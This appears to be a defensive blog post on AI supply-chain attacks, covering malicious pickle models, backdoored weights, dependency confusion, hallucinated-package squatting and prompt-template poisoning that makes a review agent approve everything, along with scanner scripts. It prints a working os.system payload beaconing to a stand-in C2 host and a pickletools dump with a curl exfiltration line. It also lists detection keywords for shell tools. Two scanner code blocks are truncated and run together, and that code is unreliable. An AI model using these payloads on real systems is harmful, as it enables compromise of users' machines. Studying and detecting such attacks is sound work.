The AI Supply Chain Attack Surface Nobody's Actually Checking

The AI Supply Chain Attack Surface Nobody's Actually Checking There's a lot of noise in AI security right now — a lot of people repeating vendor slide decks without ever having opened a pickle file in a hex editor. So let's walk through the actual attack surface: how it works, why it works, and what you can run today to check whether a model or package is safe before it touches your machine. This isn't theoretical. Every technique below has been used against real companies, with real payloads, and in some cases real bug bounty checks cut as proof. 1. Pickle: The Original Sin of ML Model Distribution Most ML models get saved via serialization — converting a live Python object into a file on disk. Pickle is the default format for this in Python, showing up with .pkl or .pt extensions. It's the packing-everything-into-one-box approach: convenient, compact, and — critically — able to contain more than data. A basic, legitimate use looks harmless: import pickle # Serialize (save) a model to a file model = {"weights": [1.5, 2.3, 4.1], "bias": 0.5} with open("model.pkl", "wb") as f: pickle.dump(model, f) # Deserialize (load) it back with open("model.pkl", "rb") as f: loaded_model = pickle.load(f) Enter fullscreen mode Exit fullscreen mode The problem lives in how pickle reconstructs custom objects. When pickle serializes an object, it can call that object's __reduce__ method, which returns instructions for rebuilding it later. On load, Python follows those instructions automatically — no prompt, no sandbox, no warning. And __reduce__ can return any callable with any arguments. Pickle doesn't check what that callable is. It'll happily call os.system just as readily as it reconstructs a numpy array. A malicious example import pickle import os class MaliciousModel: def __reduce__(self): # pickle.load() will call os.system() with this command return (os.system, ("curl http://c2.example.com/beacon",)) with open("backdoored_model.pkl", "wb") as f: pickle.dump(MaliciousModel(), f) Enter fullscreen mode Exit fullscreen mode The victim runs pickle.load() expecting model weights. Python runs os.system() instead. Think of it like receiving a Word document that, instead of opening as text, silently drops malware — same trick, different container. And because torch.load() uses pickle internally by default, this applies to PyTorch checkpoints too. Depending on the environment, the payload isn't limited to a beacon ping: Payload Impact Reverse shell Full remote access to the victim's machine Data exfiltration Steals credentials or source code Crypto miner Hijacks compute resources Reconnaissance Maps usernames, hostnames, running processes 2. Beyond Pickle: Attacks Baked Into the Architecture Pickle attacks fire at load time. A second, quieter category fires at inference time — every single prediction — because the malicious logic is baked into the model's architecture itself, not just its serialization wrapper. Keras (built on TensorFlow) supports Lambda layers: a legitimate feature for custom processing steps like reshaping data. But a Lambda layer can also encode a hidden trigger condition — if the model sees a specific input pattern, it silently returns an attacker-chosen output instead of a real prediction. This is why converting a Keras .h5 file to SafeTensors doesn't fully solve the problem. SafeTensors strips executable code that exists outside the architecture — but a Lambda layer is part of the architecture. It survives the conversion untouched. Factor Pickle __reduce__ Keras Lambda Layer Executes when Model is loaded Model makes a prediction Survives SafeTensors conversion No Yes Severity Critical — arbitrary system commands Medium — arbitrary Python code at inference Takeaway: SafeTensors neutralizes the load-time exploit class. It does not audit the architecture graph. Different problem, different tool. 3. GGUF and Local LLMs: A Different Risk Shape GGUF is the dominant format for locally-run LLMs — LLaMA, Mistral, Qwen — the stuff you pull from Hugging Face to run on your own hardware. GGUF files are typically quantized (compressed from full-precision weights for faster local inference), and the format doesn't use pickle. Loading a GGUF file does not execute arbitrary Python code. That doesn't make it risk-free — it just moves the risk upstream. An attacker who fine-tunes a model before converting it to GGUF can bake backdoor behavior directly into the weights. No static scanner catches that; the file format is clean, the behavior is compromised. If you're pulling a pre-quantized GGUF instead of quantizing it yourself from a verified source, the person who built that GGUF is now an unaudited link in your supply chain. Practical defense here is unglamorous but effective: verify the source, check download counts and upload dates, prefer files with published checksums. 4. Inspecting Pickle Files Without Executing Them Never load a pickle file directly to "just see what's in it." Inspect it statically first with pickletools: python3 -m pickletools /opt/supply-chain/models/code_reviewer.pkl 2>&1 | head -30 Enter fullscreen mode Exit fullscreen mode 0: \x80 PROTO 4 2: \x95 FRAME 72 11: \x8c SHORT_BINUNICODE 'os' 15: \x94 MEMOIZE (as 0) 16: \x8c SHORT_BINUNICODE 'system' 24: \x94 MEMOIZE (as 1) 25: \x93 STACK_GLOBAL 26: \x94 MEMOIZE (as 2) 27: \x8c SHORT_BINUNICODE 'curl http://attacker.com/beacon?host=$(hostname)' 77: \x94 MEMOIZE (as 3) 78: \x85 TUPLE1 79: \x94 MEMOIZE (as 4) 80: R REDUCE 81: \x94 MEMOIZE (as 5) 82: . STOP highest protocol among opcodes = 4 Enter fullscreen mode Exit fullscreen mode Two things jump out immediately: the string 'os' at position 11 (a module a model file has no legitimate reason to reference), and 'system' at position 16 right below it. Put those next to each other and you're looking at os.system(...). Red flags checklist Pattern Concern Legitimate use in a model file? os Critical Almost never system, popen Critical Never subprocess Critical Never socket Critical Never eval, exec Critical Never curl, wget Critical Never STACK_GLOBAL Moderate Common in legit pickles too — check what it resolves to REDUCE Moderate Common in legit pickles — check context A scanner you can actually run #!/usr/bin/env python3 import pickletools import sys from pathlib import Path DANGEROUS_MODULES = {"os", "subprocess", "builtins", "importlib", "nt"} DANGEROUS_ATTRS = {"system", "popen", "exec", "eval", "Popen", "call", "__import__"} DANGEROUS_OPCODES = {"REDUCE", "BUILD", "INST", "OBJ", "NEWOBJ", "NEWOBJ_EX", "STACK_GLOBAL", "GLOBAL"} def analyze_pickle(filepath: str): data = Path(filepath).read_bytes() opcodes_found, strings_found = [], [] modules_found, attrs_found = [], [] for opcode, arg, pos in pickletools.genops(data): opcodes_found.append(opcode.name) if isinstance(arg, str): strings_found.append(arg) if arg in DANGEROUS_MODULES: modules_found.append(arg) if arg in DANGEROUS_ATTRS: attrs_found.append(arg) print(f"\n{'='*50}\nPickle Analysis: {filepath}\n{'='*50}") print(f"Protocol opcodes seen: {set(opcodes_found)}") dangerous_ops = set(opcodes_found) & DANGEROUS_OPCODES if dangerous_ops: print(f"[!] Dangerous opcodes: {dangerous_ops}") if modules_found: print(f"[!] Dangerous modules referenced: {modules_found}") if attrs_found: print(f"[!] Dangerous attributes referenced: {attrs_found}") suspicious_strings = [s for s in strings_found if any(x in s for x in ["http", "curl", "wget", "bash", "cmd", "/bin/"])] if suspicious_strings: print(f"[!] Suspicious strings:") for s in suspicious_strings: print(f" -> {s}") is_unsafe = bool(dangerous_ops or modules_found or suspicious_strings) print(f"\n{'UNSAFE ❌' if is_unsafe else 'SAFE ✅'}") if is_unsafe and modules_found and attrs_found: print(f" Would execute: {modules_found[0]}.{attrs_found[0]}(...)") if __name__ == "__main__": if len(sys.argv) ") sys.exit(1) filepath = sys.argv[1] if not Path(filepath).exists(): print(f"[!] File not found: {filepath}") sys.exit(1) analyze_pickle(filepath) Enter fullscreen mode Exit fullscreen mode 5. Inspecting SafeTensors Files — The Part Hugging Face Users Actually Need Here's the part most write-ups skip, and it's the one that matters most for anyone pulling models off Hugging Face right now: why is SafeTensors actually safe, and how do you verify a file before loading it? SafeTensors' safety isn't a policy — it's structural. The format has no code path that calls arbitrary functions. A SafeTensors file is: An 8-byte little-endian integer giving the length of the header A JSON header describing every tensor's name, dtype, shape, and byte offset Raw tensor bytes, read directly at those offsets Loading a SafeTensors file is just "read declared bytes at declared offsets, interpret as declared dtype." There's no __reduce__, no REDUCE opcode, no reconstruction instructions — the format literally has no mechanism to invoke a function. That's the entire security model, and it's why you can trust it more than a .bin or .pt file for this specific class of attack. Reading the header yourself, with zero dependencies You don't even need the safetensors library to prove this to yourself — plain struct and json will do it: import json import struct def inspect_safetensors_header(filepath: str) -> dict: with open(filepath, "rb") as f: header_len = struct.unpack(" {result['flags']}") elif suffix in PICKLE_EXTENSIONS: result = scan_pickle(filepath) status = "❌ UNSAFE" if result["unsafe"] else "✅ clean" print(f"[pickle] {filepath.name}: {status}") if result["unsafe"]: print(f" modules={result['modules']} attrs={result['attrs']} " f"suspicious={result['suspicious']}") if __name__ == "__main__": import sys scan_repo(sys.argv[1] if len(sys.argv) > 1 else ".") Enter fullscreen mode Exit fullscreen mode Run this against any local Hugging Face repo clone before you torch.load() or from_pretrained() anything in it. It's not a replacement for checking the model card, downloads, and org verification — it's the file-level check that catches the thing a green checkmark on a webpage can't. 6. Dependency Confusion: The Package Layer The model file isn't the only supply chain surface — the packages your project depends on are just as exploitable. When you run pip install package-name, pip queries every configured index and installs the highest version number it finds across all of them. By default that's just public PyPI. Organizations using private internal packages typically add --extra-index-url pointing at their internal registry alongside PyPI. Here's the gap: if your internal package name isn't also registered on public PyPI, an attacker can register that exact name publicly with a higher version number. pip takes the highest version — and installs the attacker's package instead of yours. This is dependency confusion, and it's not hypothetical. In February 2021, researcher Alex Birsan used exactly this technique against Apple, Microsoft, PayPal, and others, registering unused internal package names on PyPI, npm, and RubyGems and achieving code execution on their systems. Responsible disclosure earned him over $130,000 in bug bounties — a fairly direct measure of how seriously those companies took it once they saw it work. Typosquatting A related, lower-effort technique: registering names that are near-misses of popular packages, betting on developer typos. Legitimate Typosquatted Difference numpy numppy extra 'p' requests reqeusts swapped 'ue' scikit-learn scikitlearn missing hyphen tensorflow tenserflow 'ser' instead of 'sor' In January 2023, Fortinet caught three typosquatted packages on PyPI from a publisher going by Lolip0p (colorslib, httpslib, libhttps) — all three downloaded and ran infostealer malware on install. The AI-specific twist: hallucinated packages Here's where this gets specifically relevant to anyone running agentic coding tools: LLMs have a documented tendency to hallucinate plausible-sounding package names that don't exist. Attackers know this, test popular models for the exact hallucinated names they suggest, and then register those names on PyPI/npm ahead of time — loaded with malware, waiting for an agent to pip install or npm install them on a user's behalf. That's the specific gap SlopScan targets — it's open source, and checks package names an agent wants to install against known-hallucination patterns before the install happens. I run it alongside Sentinel-Proxy specifically for this: an agent working through Claude Code or similar tooling will auto-install whatever it thinks it needs, and without something sitting between the agent and the install step, "the model hallucinated a package name" turns into "that package existed, was malicious, and now you're infected" in about the time it takes to run one command. 7. Model Repository Attacks Hugging Face Hub hosts over a million models and is the primary target for repo-based attacks, for the same reason PyPI is: it's the trust layer between "someone wrote this" and "you're running this on your machine." Namespace and typosquatting Legitimate model Attacker's version Difference bert-base-uncased bert-base-uncased-v2 added "-v2" meta-llama/Llama-2-7b meta-Ilama/Llama-2-7b capital 'I' instead of lowercase 'l' openai/whisper-large openai-releases/whisper-large added "-releases" Fake organization names follow the same pattern — google-research-models instead of google, meta-llama-community instead of meta-llama, or a from-scratch name like trustworthy-ai-lab designed to sound credible on sight. A quick check usually unravels it fast: no verification badge, no history, minimal downloads. Compromising legitimate repos directly Typosquatting only works if someone downloads the wrong thing. A more dangerous path skips that step entirely: compromising a repo people already trust. Lasso Security's research from November 2023 found 1,681 valid Hugging Face API tokens exposed across Hugging Face and GitHub — 655 of them with write access, spanning accounts at Google, Meta, Microsoft, and VMware among 723 organizations total. A write-permission token on a legitimate, high-download repo lets an attacker push a malicious update under a trusted identity. No fake namespace needed. No suspicious name to catch. This targets the trust mechanism itself, not the naming conventions built to signal it. Warning signs before you download Indicator Safe Suspicious Download count Thousands to millions Under 500 Organization Verified badge, known name No badge, generic name Model card Detailed: architecture, training data, metrics, limitations Missing, sparse, or generic Upload date Consistent with claimed training timeline Very recent for a supposedly established model File formats SafeTensors available alongside pickle Pickle only, no safe alternative Dependencies Standard, well-known packages Unusual or private packages required These indicators won't catch a compromised legitimate repo — which is exactly why file-level scanning (Sections 4 and 5) stays necessary even when the repo looks trustworthy on paper. 8. API Provider Compromise: When There's No File to Scan Everything above targets the download paradigm — files you retrieve and run yourself. A lot of organizations instead consume AI purely through hosted API services, where there's no pickletools to run and no file-level attack surface at all. The risk moves, it doesn't disappear. Silent model updates. You have no control over what model version actually runs behind an API endpoint. Providers can retrain or swap the model with zero notice — same endpoint, different behavior. If your code reviewer calls an external LLM API and a silent update changes how it classifies security findings, vulnerable code can reach production without a single visible change in your logs. Defense: version-pin deployments where supported, log model version identifiers on every response, baseline behavior against a fixed test set and alert on drift. API key compromise. Your key is a credential like any other. Leak it through source code, CI/CD logs, or an env file, and an attacker can call the API as you, read whatever you send it, or run up your bill — and unlike a file-based attack, this leaves no forensic artifact on your systems to find. Defense: secrets manager only, never source or logs. Rotate on any suspected exposure. Per-key spend alerts and rate limits. Prompt template injection. System prompts increasingly get pulled from shared repositories and template marketplaces — which makes a prompt template a supply chain artifact, not just text. Compromise a popular template repo and you alter behavior across every application importing from it. A code review prompt pulled from a community library, never re-reviewed since deployment, is one bad upstream commit away from an agent that approves every pull request unconditionally. Defense: treat system prompts as code — version-controlled in your own repo, never auto-updated from external sources without review. Upstream training data poisoning. You have zero visibility into how a provider trained or fine-tuned the model behind their endpoint. If their pipeline was compromised, or trained on adversarial examples, the model can produce systematically biased or unsafe outputs — consistently, quietly, with nothing in your logs pointing at the cause. Defense: there's no static scan for this one. Mitigation is operational — red-team outputs regularly against known-bad inputs, keep human review on high-stakes decisions, and treat model behavior as a risk to manage rather than a guarantee to trust. The Common Thread Every layer here — pickle, architecture, packages, repos, API — has the same underlying failure mode: trusting a format or a badge instead of checking the content. SafeTensors is safe because of how it's structurally built, not because Hugging Face put a label on it. A high download count is a reputation signal, not a scan result. The scripts above take five minutes to run and remove the guesswork from all of it. References Birsan, A. (2021, February 9). Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies. Medium. https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610 FortiGuard Labs. (2023, January 14). Supply Chain Attack Using Identical PyPI Packages, "colorslib", "httpslib", and "libhttps". Fortinet. https://www.fortinet.com/blog/threat-research/supply-chain-attack-using-identical-pypi-packages-colorslib-httpslib-libhttps Lanyado, B. / Lasso Security. (2023, December 4). 1500+ HuggingFace API Tokens Were Exposed, Leaving Millions of Meta-Llama, Bloom, and Pythia Users Vulnerable. https://www.lasso.security/blog/1500-huggingface-api-tokens-were-exposed-leaving-millions-of-meta-llama-bloom-and-pythia-users-for-supply-chain-attacks Hugging Face. Safetensors documentation. https://huggingface.co/docs/safetensors Python Software Foundation. pickle — Python object serialization. https://docs.python.org/3/library/pickle.html TryHackMe. Supply Chain Attack Vectors. https://tryhackme.com/room/supplychain-attack-vectors E, Cor. SlopScan — open-source hallucinated-package detector. https://github.com/c0ri/SlopScan